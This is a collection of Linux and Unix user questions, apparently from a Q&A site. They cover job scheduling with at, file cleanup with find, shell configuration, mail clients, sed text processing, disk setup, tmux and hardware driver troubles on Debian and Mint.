text: I'm learning about Linux scheduling commands including `at`, `cron`, `sleep` etc. I'm trying to launch `gedit` after x minutes via the `at` command. This is what I have:               kedar@i5 ~ $ at now + 1 minute     at now + 1 minute     warning: commands will be executed using /bin/sh     at> ./s.sh     at> <EOT>     job 18 at Fri Aug 15 13:21:00 2014      The contents of **s.sh** (-rwxr--r--):               #!/bin/sh     #set $DISPLAY=:0     echo "Created on" `date` >t.txt     gedit #(also tried /usr/bin/gedit and `gedit` and systen(/usr/bin/gedit))      After 1 minute, t.txt is created with the expected contents. However, `gedit` is not launched. For that matter, none of my programs(`firefox`,`xcalc`,`xfce4-terminal` etc) can be launched this way via `at`. Strange thing is, when I run `./s.sh` in bash, `gedit` opens up fine. Also I tried running `at` (from a file - if this is at all correct) as:               kedar@i5 ~ $ at now + 1 minute -f ./s.sh      I guess there's something wrong with the way I'm using `at` with the shell script. Also can't I use `at` without a shell script? Thanks.


title: Remove all Vim undo files in all but one directory

text: I just realized that I have tons of Vim undo (`.un~`) files sprinkled around my file system. I'd like to delete all of these files except in one directory—`~/.tmp`. My first problem is that I can't seem to find a Unix command to delete these things. For example, I have a file name that looks like this: `.myfile.txt.un~` I've tried, `rm -f *.un`, `rm -f *.un\~`, `rm -f *.un*`, etc. and I can't seem to find any command that can delete these files. How can I delete these files? Secondly, I'd like to write a command with find that can visit all my directories and delete these files, with the exception of the `~/.tmp` directory. I'm quite afraid of executing this command incase it's wrong. Can anyone help be construct a find command to do this? Thanks in advance for the help!


title: Search plugin for wrapping words with text in Gedit v3

text: I've been searching out for a plugin that could possibly wraps words with specified text. For example I double click this word to highlight it :               word      and using a particular shortcut, it becomes as :               <b>word</b> or myFunction(word); or ...whatever depending what user defines.      I'm currently using Gedit v3. It would be really helpful if someone know a place where I can get this type of plugin.


title: recvfrom() doesn't get any request from any remote client

text: I have written a udp server which receives client requests using a `recvfrom()` socket system call, this call receives requests from localhost only, no remote host requests are seen by the `recvfrom()` call. I tried capturing packets on the receivng port and I can see the packets coming from remote server, but the request don't reach `recvfrom()`, what could be the matter?


title: How to cd into the named directory if command not found?

text: When I type something which is neither a zsh builtin and no such executable is found from $PATH, zsh just reports an error. Instead, I would like zsh to check if a named directory exists with that name and cd into it. I tried defining command_not_found_handler() function but it didn't work as it forks a sub-shell to execute that function and hence directory change is not reflected in the actual shell. Is it something that is already possible with some settings or a new (useful?) feature?


title: Is there a parallel file archiver (like tar)?

text: Is there something out there for parallel archiving of files? Tar is great, but I don't use tape archives, and it's more important to me that the archiving happens quickly (with compression like bzip2) since I have smp.


title: Bash vi mode configuration to default to command mode

text: Is it possible to configure bash vi mode so that initially it is in **command** mode instead on **insert** mode? I find that I have to press `Esc` far too much. It seems that there is possibility to specify this in zsh, but I have not found a way to do this in bash/readline.


title: Thunderbird: deleted emails are still in local IMAP folder

text: I am using Thunderbird + IMAP. Thunderbird caches messages locally in:               .icedove/asdfgh.default/ImapMail/mail.example.com/      For each IMAP folder, there are files `Folder` and `Folder.msf`. I have noticed, when I delete an email with large attachment, and then delete it from Trash also, than the trash file `.icedove/asdfgh.default/ImapMail/mail.example.com/Trash` still contains the email (and the attachment). Thus, even though from within Thunderbird it looks as if the message has been deleted (or expunged from trash, or what ever the term is), the message data is still in the trash file (I can see it when I open the Trash file with my text editor) Can anybody please explain what is happening here? How can I **really** delete an email? **And I should add** that the email has been successfully deleted on the IMAP server. So, Thunderbird has deleted the email on the server, but for some reason still keeps the data in the file.


How do I convert an epoch timestamp to a human readable format on the cli? I think there's a way to do it with date but the syntax eludes me (other ways welcome).


title: Getting a delimiter issue while executing the script

text: I am creating a `test.sh` file and i am running it as `./test.sh`:               string="hello"     ed << EOF     e any_file     1i     ${string}     EOF      can anybody help me what it does? I am getting some delimiter issue. Can anybody tell me how to do this?


title: why xfce4 always replace a new files in .config/xfce4/panel/?

text: I started inotify tools to see which files are changing during my work process. And i found that xfce4 always update their config files. Anyone know it do that ?


title: Why can't I echo the password to fetchmail?

text: I'm trying to configure a fetchmail. Before I deal with the syntax of fetchmailrc ( I discovered that the level of bugginess of a problem is synergistic with the number of different aspects of the problem that I do not understand, so one new thing at a time ), I decided to pass all the options via commandline. I got tired of entering the password for each test so I wanted to pass it in the script. I couldn't find something like --pass as a commandline option for fetchmail so I thought maybe echo the password to fetchmail ala:               echo "dohadeer"| fetchmail  --all -p pop3 -k pop.gmail.com --ssl -d0   --user FakeName@gmail.com      I dismissed it and googled "fetchmail password commandline" and got several hits which claimed the above technique worked! But when I tried it I get the error:               fetchmail: can't find a password for FakeName@gmail.com@pop.gmail.com.      I can figure out workarounds for the original problem, but I can't figure out why this approach doesn't work. Obviously there is something I don't understand about Linux and want to figure out.


title: Why no shebang in .bashrc/.bash_profile?

text: Simple inquiry: I have just realized that I have never seen a shebang on top of a `.bashrc` script, which leads me to think the system uses the default shell to source it upon login (`${SHELL}`). I am pondering over reasons why that is the case, i.e. is it considered a bad habit to use something other than the default shell to run the login script.


title: Trim last chars from a line

text: I have a `csv` file and the lines have different length. But all of them ends with a number surrounded by a pair of braces. For example,               ........{5}     ........{16}      I'd like to remove the number and the braces or maybe replace them for double quotes, for example. The result could be               ........     ........      or               ........"     ........"      I only found solution for lines with fixed length or with the same string at the end of line. Any idea?


title: /proc/net/wireless does not show values unless run as root

text: `cat /proc/net/wireless` does not show statistics for wireless devices unless it is run as root, even though the permissions on the file are 444. The same seems to apply when accessing statistics via `iwlib`. Is there a way to `cat` this file and see the values without requiring the command be run as root?


title: How to switch directly to a pane in Tmux?

text: I'd like to switch directly to a pane in Tmux, by pane #. How can I do this? I know how to cycle between panes, and move to panes that are beside the current pane. I'd like to be able to run the `display-panes` command, which shows the "pane #" on each pane, then later on jump directly to a pane using the pane #'s that were displayed by `display-panes`. Is this possible? NOTE: And just to be clear, I don't mean window, I mean pane. Thanks!


title: Why do we need to fork to create new processes?

text: In Unix whenever we want to create a new process, we fork the current process, creating a new child process which is exactly the same as the parent process; then we do an exec system call to replace all the data from the parent process with that for the new process. Why do we create a copy of the parent process in the first place and not create a new process directly? I am new to Unix, so please explain in layman's terms.


title: How can I update this sed oneliner?

text: INPUT:                $ echo -e 'AAAART5530408XXXX\nAAAAZE6530408XXXX\nAAAART12345678XXXX'     AAAART5530408XXXX     AAAAZE6530408XXXX     AAAART12345678XXXX     $      OUTPUT:                $ echo -e 'AAAART5530408XXXX\nAAAAZE6530408XXXX\nAAAART12345678XXXX' | sed -e 's/\(AAAA[A-Z]\{2\}[0-9]\{7\}\)XXXX/\n\1/g'          AAAART5530408          AAAAZE6530408     AAAART12345678XXXX     $         How can I extend the:               sed -e 's/\(AAAA[A-Z]\{2\}[0-9]\{7\}\)XXXX/\n\1/g'      sed oneliner, so that it would optionally accept               sed -e 's/\(AAAA[A-Z]\{2\}[0-9]\{8\}\)XXXX/\n\1/g'      8 numbers too? (not just 7) Is it possible with only 1 sed?


title: Making two drives show as one on debian?

text: I rented a server from a provider and they won't install RAID0 without an additional fee. So I'm trying to figure out how to link these two drives so that my programs that are installed on the hard disk will see the space from the second drive. This is how it's setup: `df -h`:               Filesystem                                    Size  Used Avail Use% Mounted on     rootfs                                        139G   93G   39G  71% /     udev                                           10M     0   10M   0% /dev     tmpfs                                         599M  208K  599M   1% /run     /dev/disk/by-uuid/e7a9cc0e-9caa-4d33-b60f-... 139G   93G   39G  71% /     tmpfs                                         5.0M     0  5.0M   0% /run/lock     tmpfs                                         2.7G     0  2.7G   0% /run/shm     /dev/sda1                                     961M   36M  877M   4% /boot     /dev/sda5                                     139G   93G   39G  71% /media/hd      `fdisk -l`:               Disk /dev/sda: 160.0 GB, 160000000000 bytes     255 heads, 63 sectors/track, 19452 cylinders, total 312500000 sectors     Units = sectors of 1 * 512 = 512 bytes     Sector size (logical/physical): 512 bytes / 512 bytes     I/O size (minimum/optimal): 512 bytes / 512 bytes     Disk identifier: 0x00066abb             Device Boot      Start         End      Blocks   Id  System     /dev/sda1   *        2048     2000895      999424   83  Linux     /dev/sda2         2002942   312498175   155247617    5  Extended     /dev/sda5         2002944   296499199   147248128   83  Linux     /dev/sda6       296501248   312498175     7998464   82  Linux swap / Solaris          Disk /dev/sdb: 160.0 GB, 160000000000 bytes     58 heads, 29 sectors/track, 185790 cylinders, total 312500000 sectors     Units = sectors of 1 * 512 = 512 bytes     Sector size (logical/physical): 512 bytes / 512 bytes     I/O size (minimum/optimal): 512 bytes / 512 bytes     Disk identifier: 0x00088a99             Device Boot      Start         End      Blocks   Id  System     /dev/sdb1            2048   312499999   156248976   83  Linux      I did my best with my n00bness to mount the 2nd drive. Does anyone know what I need to do to make the drives show up as one?


title: How to set System Variable for mySQL in RHEL 6.2?

text: I am currently working on mySQL 5.6.10 server and RHEL 6.2. I need to set the system variable PATH for mySQL on RHEL 6.2 Terminal. How do I set it? I also want to run a `.sql` file on Linux. I am using the following command:               mySQL DBname -uusername -ppassword <"path to the .sql file"      Please help me with the correct command to run the sql script file on Linux. If there are any prerequisites or configurations required to run the `.sql` file?


title: syslog-ng ignores MSSQL database name

text: `syslog-ng` ignores the database defined in `syslog-ng.conf` and instead uses the default database of the user when logging to MSSQL destination.               destination d_mssql {     sql(type(mssql)             host("myhost") username("myuser") password("mypass")             database("syslogng")             table("msgs_${R_YEAR}${R_MONTH}${R_DAY}")columns(                     "seqnum bigint",                     "datetime varchar(16)", "host varchar(32)",                     "program varchar(32)", "pid varchar(8)", "priority varchar(10)", "facility varchar(10)", "pri int",                     "message varchar(max)")             values("$SEQNUM", "$R_DATE", "$HOST", "$PROGRAM", "$PID", "$PRIORITY", "$FACILITY", "$PRI", "$MSGONLY")             indexes("datetime", "host", "program", "pid"));     };      As you can see I want to use "syslogng" as my database but what happens is that `syslog-ng` uses the default database ("master") configured for "myuser" in MS SQL Server. If I change the default database for "myuser" in SQL server to "syslogng", then it will write to "syslogng" database. But this is not what I want. I want to be able to configure the database in `syslog-ng.conf`. Any ideas why this is happening? Same question on BalaBit community website.


title: Is it possible to execute a sub-command from a Gnome Shell launcher?

text: I've got an alias set up to launch my text editor in a way that keeps it local to the specific desktop I'm working on in Gnome Shell:               alias geany="geany --socket-file=/tmp/geany-sock-$(xprop -root _NET_CURRENT_DESKTOP | awk '{print $3}') ${1+"$@"}"      I'd like to emulate this with the actual Gnome Shell launcher. As it stands, I have the launcher command set to:               geany --socket-file=/tmp/geany-sock-$(xprop -root _NET_CURRENT_DESKTOP | awk '{print $3}') %F      Which will point to the open Geany session in the current window if one is already open, but it won't launch a new session. I'll get a spinner, and then it just quits rather than launching the app. Is there any way to do this?


title: Using symbolic links and git to manage build versions

text: In general I follow the following workflow when I build any program (e.g. `emacs`, `tmux`, etc.)               /home/opt/[name of the program]/builds/[version]/          bin     lib     share      For example for a program like `tmux` I have the following:               /my_local_opt/tmux/builds/1.7.-227/          bin     lib     share      I then create sym links in `/home/bin/` pointing to the the specific builds that I have, and I never have to touch my `PATH` variable, since I fix it to include `/home/bin`. E.g. For the example above, I would   * Create a sym link: from: `/home/bin/tmux` to: `/my_local_opt/tmux/builds/1.7.-227/bin/tmux`   * Have `PATH` only include `/home/bin` However, I am not sure I can follow a similar approach for the `man` (`MANPATH`) and `lib` (`LD_LIBRARY_PATH`) paths.   1. For example, after I build `tmux` I notice that it creates: > `.. /share/man/man1/tmux.1` so I tried creating a symlink to this file from a place like `/home/share` and then fixing `MANPATH` to include this path. But when I typed `man tmux` it didn't work (it said "`No manual entry for tmux`"). Why?   2. How about `lib`? I thought I could perhaps fix `LD_LIBRARY_PATH` to a specific directory for each program, and then use sym links to control which version gets included. Would this be a good idea? More generally, is it a good idea to manage versions in a system using sym links? In the long run I am hoping to leave the sym links in a git repository to keep track of multiple configurations. In case it helps, I don't have admin privileges in the machine where I build software, so I am hoping to use this as a way easily organize and manage my builds (without having to constantly edit my environment variables holding paths)


title: What is the alternative of Wingdings 2 with wine?

text: There are wine-wingdings-fonts available via EPEL for linux. These seems to be compatible with Wingdings (used in Microsoft Windows). Is there any wine-fonts available which is exact mapping of Wingdings 2? I'm assuming wine-wingdings-fonts is not compatible to Wingdings. Thanks in advance.


title: Wheezy and touchscreen issues

text: I've just bought an ASUS N550JV notebook and wanted to install Debian Wheezy. Right now, my worst concern is the touchscreen. I don't really care whether it works or not but it is really messing with the OS. I installed Debian stable which comes with the 3.2.57 kernel. The touchscreen didn't work at all and I didn't really care until I run `dmesg`. Each 2 seconds I get spammed with the following text added to the dmesg output:               [   31.901696] xhci_queue_intr_tx: 74 callbacks suppressed     [   33.826890] usb 1-10: USB disconnect, device number 12     [   34.098270] usb 1-10: new full-speed USB device number 13 using xhci_hcd     [   34.116166] usb 1-10: New USB device found, idVendor=04f3, idProduct=010c     [   34.116176] usb 1-10: New USB device strings: Mfr=4, Product=14, SerialNumber=0     [   34.116181] usb 1-10: Product: Touchscreen     [   34.116185] usb 1-10: Manufacturer: ELAN     [   34.116485] usb 1-10: ep 0x2 - rounding interval to 64 microframes, ep desc says 80 microframes     [   36.187570] usb 1-10: USB disconnect, device number 13     [   36.458741] usb 1-10: new full-speed USB device number 14 using xhci_hcd     [   36.476680] usb 1-10: New USB device found, idVendor=04f3, idProduct=010c     [   36.476689] usb 1-10: New USB device strings: Mfr=4, Product=14, SerialNumber=0     [   36.476695] usb 1-10: Product: Touchscreen     [   36.476698] usb 1-10: Manufacturer: ELAN     [   36.477006] usb 1-10: ep 0x2 - rounding interval to 64 microframes, ep desc says 80 microframes     [   37.013838] xhci_queue_intr_tx: 78 callbacks suppressed      I will run out of disk space if I just leave the computer on because the log files will get huge. I went for a `rmmod xhci_hcd` and that stopped the output but also the mouse, so it is not an option. So I thought the kernel must have been just old. So I added the wheezy backports and gave the 3.14 kernel a try. Not only did it stop the output but also made the touchscreen work (or at least be able to receive single touches). However, after I added the system monitor applet I noticed something was wrong. I always want to monitor the CPU usage (in blue) and the CPU IOWait (in red). ![screenshot](http://i.stack.imgur.com/PlrMB.png) Now it seems to intermittently perform some action that results in an IOWait (see the red dots next to the clock). I don't know what it is or what to blame but the monitor is just telling what it sees. The funny thing is that with the 3.2 kernel, with the constant log writes, I just don't see a single dot in the monitor (nor CPU, nor any IOWait) when doing nothing, so I guess whatever action the newer kernel is performing is requiring more resources than appending to a file every 2 seconds. That was as far as I can get. After using Debian for 5 years, falling back to Windows seems to be the only option right now. Any help will be appreciated.               $ lspci -nn     00:00.0 Host bridge [0600]: Intel Corporation Haswell DRAM Controller [8086:0c04] (rev 06)     00:01.0 PCI bridge [0604]: Intel Corporation Haswell PCI Express x16 Controller [8086:0c01] (rev 06)     00:02.0 VGA compatible controller [0300]: Intel Corporation Haswell Integrated Graphics Controller [8086:0416] (rev 06)     00:03.0 Audio device [0403]: Intel Corporation Haswell HD Audio Controller [8086:0c0c] (rev 06)     00:14.0 USB controller [0c03]: Intel Corporation Lynx Point USB xHCI Host Controller [8086:8c31] (rev 05)     00:16.0 Communication controller [0780]: Intel Corporation Lynx Point MEI Controller #1 [8086:8c3a] (rev 04)     00:1a.0 USB controller [0c03]: Intel Corporation Lynx Point USB Enhanced Host Controller #2 [8086:8c2d] (rev 05)     00:1b.0 Audio device [0403]: Intel Corporation Lynx Point High Definition Audio Controller [8086:8c20] (rev 05)     00:1c.0 PCI bridge [0604]: Intel Corporation Lynx Point PCI Express Root Port #1 [8086:8c10] (rev d5)     00:1c.1 PCI bridge [0604]: Intel Corporation Lynx Point PCI Express Root Port #2 [8086:8c12] (rev d5)     00:1c.2 PCI bridge [0604]: Intel Corporation Lynx Point PCI Express Root Port #3 [8086:8c14] (rev d5)     00:1c.3 PCI bridge [0604]: Intel Corporation Lynx Point PCI Express Root Port #4 [8086:8c16] (rev d5)     00:1d.0 USB controller [0c03]: Intel Corporation Lynx Point USB Enhanced Host Controller #1 [8086:8c26] (rev 05)     00:1f.0 ISA bridge [0601]: Intel Corporation Lynx Point LPC Controller [8086:8c49] (rev 05)     00:1f.2 SATA controller [0106]: Intel Corporation Lynx Point 6-port SATA Controller 1 [AHCI mode] [8086:8c03] (rev 05)     00:1f.3 SMBus [0c05]: Intel Corporation Lynx Point SMBus Controller [8086:8c22] (rev 05)     01:00.0 3D controller [0302]: NVIDIA Corporation Device [10de:0fe4] (rev ff)     04:00.0 Network controller [0280]: Atheros Communications Inc. AR9485 Wireless Network Adapter [168c:0032] (rev 01)     05:00.0 Ethernet controller [0200]: Realtek Semiconductor Co., Ltd. RTL8111/8168B PCI Express Gigabit Ethernet controller [10ec:8168] (rev 0c)


title: how to get tornado 211g (ACX111) working in mint 13 xfce?

text: I have mint 13 xfce installed on my thinkpad r31. For this laptop, I have a Tornado 211g pcmcia wireless adapter. This is not installed automatically in Mint and I am searching for a way to get this card working. How Can I achieve this? I have the windows XP drivers and have added these using ndiswrapper but so far, nothing has happened. in terminal, I have typed _lspci_ which returned my wireless adapter as an ACX111 chipset.